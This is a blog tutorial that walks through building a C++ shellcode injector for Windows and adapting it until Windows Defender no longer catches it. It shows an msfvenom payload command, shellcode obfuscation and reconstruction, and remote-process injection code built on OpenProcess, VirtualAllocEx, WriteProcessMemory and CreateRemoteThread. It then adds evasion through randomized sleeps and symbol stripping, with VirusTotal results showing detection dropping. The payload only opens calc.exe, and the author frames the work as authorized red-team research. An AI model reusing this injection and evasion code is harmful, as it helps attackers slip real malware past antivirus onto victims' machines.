Intro

I wanted to sharpen my c++ development skills and deepen my understanding of offensive tooling used in red-team operations. To do that, I began developing a project focused on injecting shellcode into a running process while evading Windows Defender, purely for research and authorized security testing. In this blog post, I’ll walk through the techniques I used and challenges I encountered along with the c++ code.

Goals

The goal of this project is to develop a shellcode-injection technique capable of launching calc.exe within a target process, even with Windows Defender and real-time protection fully enabled. This work is conducted strictly for research and authorized red-team use, focusing on understanding and evaluating modern defensive detection capabilities.

Quicklinks

Generating the Shellcode

To generate a payload, I used msfvenom from the Metasploit Framework. This produces raw Win64 shellcode that spawns calc.exe:

$ msfvenom -p windows/x64/exec CMD="C:\\Windows\\System32\\calc.exe" -f raw -o raw.bin
Payload size: 296 bytes
Saved as: raw.bin

Obfuscating the Shellcode

This shellcode however will easily get flagged, but we can use jigsaw to randomize the shellcode in the binary and reconstruct it correctly at runtime. Jigsaw will produce a block of code that will assemble our shellcode.

$ python3 jigsaw.py raw.bin

$ ls jigsaw.txt
jigsaw.txt

Here is the code truncated from jigsaw.txt.

unsigned char jigsaw[296] = {...};
unsigned char* shellcode;
int positions[296] = {...};
int position;
// Reconstruct the payload
for (size_t idx = 0; idx < len; ++idx) {
	int position = positions[idx];
	shellcode[position] = jigsaw[idx];
}

Creating the Code to Inject the Obfuscated Shellcode

Prerequisites

  • A Process ID (PID) with permissions allowing memory allocation and execution.
  • A valid handle to that PID

    Function to Fetch a Handle from a PID

    We can use OpenProcess to find the handle from the provided PID

Arguments:

HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);

for dwDesiredAccess we pass PROCESS_ALL_ACCESSto request full rights. (A complete list of rights is available here.)

If bbInheritHandle value is TRUE, processes created by this process will inherit the handle. Otherwise, the processes do not inherit this handle. For this project, we set it to FALSE.

HANDLE getHandleFromPid(DWORD pid) {
    HANDLE hProcess = OpenProcess(
        PROCESS_ALL_ACCESS,   // permissions
        FALSE,                // do not inherit handle
        pid                   // target PID
    );
    
	// If something went wrong
    if (!hProcess) {
        DWORD lastError = GetLastError();
        if (lastError == ERROR_ACCESS_DENIED) {
            std::cerr << "[-] Failed to open process due to a lack of privilege." << std::endl;
        }
        else if (lastError == ERROR_INVALID_PARAMETER) {
            std::cerr << "[-] Failed to find PID: '" << pid << "' in process list." << std::endl;
        }
        else {
            std::cerr << "[-] Failed to open process. Error: " << GetLastError() << "\n";

        }
        return nullptr;
    }

    return hProcess;
}

Function to Generate Shellcode from Jigsaw Output

Next, we take the output from jigsaw.txt and wrap it in a function called genShellcode():

void genShellcode(unsigned char* shellcode, size_t len) {
    int payload_len = 296;
    unsigned char jigsaw[296] = { 0x5c, 0x41, 0x48, 0xff, 0xc1, 0x60, 0x74, 0x24, 0x83, 0xd0, 0xff, 0xed, 0x3c, 0x01, 0x38, 0x31 };
    int positions[296] = { 277, 140 };
    int position;

    // Reconstruct the payload
    for (size_t idx = 0; idx < len; ++idx) {
        int position = positions[idx];
        shellcode[position] = jigsaw[idx];
    }
}

Creating Our main Function

Now we can begin putting the pieces together. The main function will first parse the PID supplied by the user, then generate and reconstruct the obfuscated shellcode, and finally attempt to obtain a handle to the target process. After generating the shellcode, we also print its size for verification before moving on to the injection logic.

int main(int argc, char* argv[])
{
	auto pid = atoi(argv[1]);
    unsigned char shellcode[296] = { 0 };
    genShellcode(shellcode, 296);
     SIZE_T shellcodeSize = sizeof(shellcode);
    std::cout << "[+] Generated shellcode (length: " << shellcodeSize << ") " << std::endl;
    HANDLE hProcess = getHandleFromPid(pid);

    if (!hProcess) {
        return 0;
    }

    std::cout << "[+] Found process handle: " << hProcess << std::endl;
}

Allocating Read Write Execute Memory in the Target Process

We can use VirtualAllocEx to allocate memory in the target process.

Arguments:

LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

hProcess is the handle found from getHandleFromPid. lpAddress is null because we don’t care where the OS reserves the address. dwSize is the size of our shellcode. flAllocationType is the type of memory allocation

Value Meaning
MEM_COMMIT
0x00001000
Allocates memory charges (from the overall size of memory and the paging files on disk).
MEM_RESERVE
0x00002000
Reserves a range of the process’s virtual address space without allocating physical memory. You can commit the reserved pages later using VirtualAllocEx with MEM_COMMIT, or reserve+commit at once with MEM_COMMIT | MEM_RESERVE. Other allocation methods such as malloc or LocalAlloc cannot use reserved pages until they are committed.
// allocate RWX memory in target
LPVOID hMemory = VirtualAllocEx(
	hProcess,                           // target process
	nullptr,                            // let the OS decide the address
	shellcodeSize,                      // allocation size
	MEM_COMMIT | MEM_RESERVE,           // allocation type
	PAGE_EXECUTE_READWRITE              // permissions
);

if (!hMemory) {
	std::cerr << "[-] VirtualAllocEx failed. Error: " << GetLastError() << "\n";
	CloseHandle(hProcess);
	return 0;
}

std::cout << "[+] Allocated RWX memory in target handle" << std::endl;

Writing the Shellcode to the Allocated Block of Memory

We can use WriteProcessMemory to write the shellcode to the allocated block of memory.

Arguments:

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

lpBaseAddress is a pointer to the block of memory allocated by VirtualAllocEx. lpBuffer is the shellcode we want to inject. nSize is the size of the shellcode and lpNumberOfBytesWritten is a pointer to a variable that receives the number of bytes transferred into the specific process.

// write shellcode to target process memory
SIZE_T bytesWritten = 0;
BOOL writeOk = WriteProcessMemory(
	hProcess,
	hMemory,
	shellcode,                         
	shellcodeSize,
	&bytesWritten
);
// If the write failed or the bytes written doesnt match the shellcode size
if (!writeOk || bytesWritten != shellcodeSize) {
	std::cerr << "[-] WriteProcessMemory failed. Error: " << GetLastError() << "\n";
	// Free the allocated memory
	VirtualFreeEx(hProcess, hMemory, 0, MEM_RELEASE);
	CloseHandle(hProcess);
	return 0;
}


std::cout << "[+] Wrote shellcode to process memory (size: " << shellcodeSize << ")" << std::endl;

Creating a Thread to Run the Shellcode

We can use CreateRemoteThread

Arguments:

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

For this project, we only need to focus on the arguments relevant to launching our payload:

  • hProcess
    The handle returned by getHandleFromPid().
  • lpStartAddress
    A pointer to the memory region containing our reconstructed shellcode (hMemory from VirtualAllocEx).

All other parameters can remain nullptr or 0 for default behavior.

// create remote thread in target process
DWORD threadId = 0;
HANDLE hThread = CreateRemoteThread(
	hProcess,                            // hProcess
	nullptr,                             // lpThreadAttributes
	0,                                   // dwStackSize
	(LPTHREAD_START_ROUTINE)hMemory,     // lpStartAddress
	nullptr,                             // lpParameter
	0,                                   // dwCreationFlags
	&threadId                            // lpThreadId
);

if (!hThread) {
	std::cerr << "CreateRemoteThread failed. Error: " << GetLastError() << "\n";
	VirtualFreeEx(hProcess, hMemory, 0, MEM_RELEASE);
	CloseHandle(hProcess);
	return 0;
}

std::cout << "[+] Created remote thread in process: " << hProcess << std::endl;
WaitForSingleObject(hThread, INFINITE);
std::cout << "[+] Waiting for thread: " << hThread << " to complete" << std::endl;

Waiting and Terminating the Thread

Finally we can use CloseHandle to close the created Thread.

    // cleanup
    CloseHandle(hThread);
    std::cout << "[+] Exited!" << std::endl;

Bypassing Windows AV

Awww man Windows Defender caught it! Lets implement some obfuscation techniques. Caught By Windows Defender

Sleeping Between Actions

Executing VirtualAllocEx → WriteProcessMemory → CreateRemoteThread back-to-back within milliseconds is highly suspicious behavior and easily flagged by Defender and other EDR products.

To simulate more realistic execution timing and introduce entropy, I added randomized sleep delays between major steps.

void sleepForRandom() {
    std::random_device rd;
    std::mt19937 gen(rd());
    std::uniform_real_distribution<float> dist(1.0f, 5.0f);
    float value = dist(gen);
    std::cout << "[+] Sleeping for: " << value << " seconds." << std::endl;
    // Sleep from 1 to 5 seconds
    Sleep(static_cast<DWORD>(value * 1000));
}

I then added sleepForRandom() at the start of main and throughout the main function and between each function call.

Bypassing Windows Defender

Yay! It worked the calculator app was launched by injecting the shellcode into a running process with Windows Defender enabled!

Stripping Symbols

Lets take this a step forward and strip the symbols from the binary using strip.

$ strip injector.exe

VirusTotal Scans

As we implement more obfuscation techniques the amount of vendors that detect are binary as malicious go down.

Base Shellcode

https://www.virustotal.com/gui/file/44f19973224494089d9495a59f30f26cfbf8f574c4ff1ac203475600cb7fd8bc?nocache=1

Original

With Shellcode Obfuscation

https://www.virustotal.com/gui/file-analysis/M2YxMThiNGFjMjJkNTUzN2JiZjc3N2EwMTczZjgwMGE6MTc2NDUzODg1Mw==

Shellcode Obfuscation

With Sleep Statements

https://www.virustotal.com/gui/file/6fdeb86b2d0fabc2aed7bfa4554d3f53b3a17a39aec5ca0e5b9aab022a5e2aa0?nocache=1 Sleep statements

Using the Strip Utility

https://www.virustotal.com/gui/file/fe77ae208bec03f85627f04e98dd44fc77098b384b396f5ea2af880b5e7dc3eb?nocache=1

$ strip injector.exe

Stripped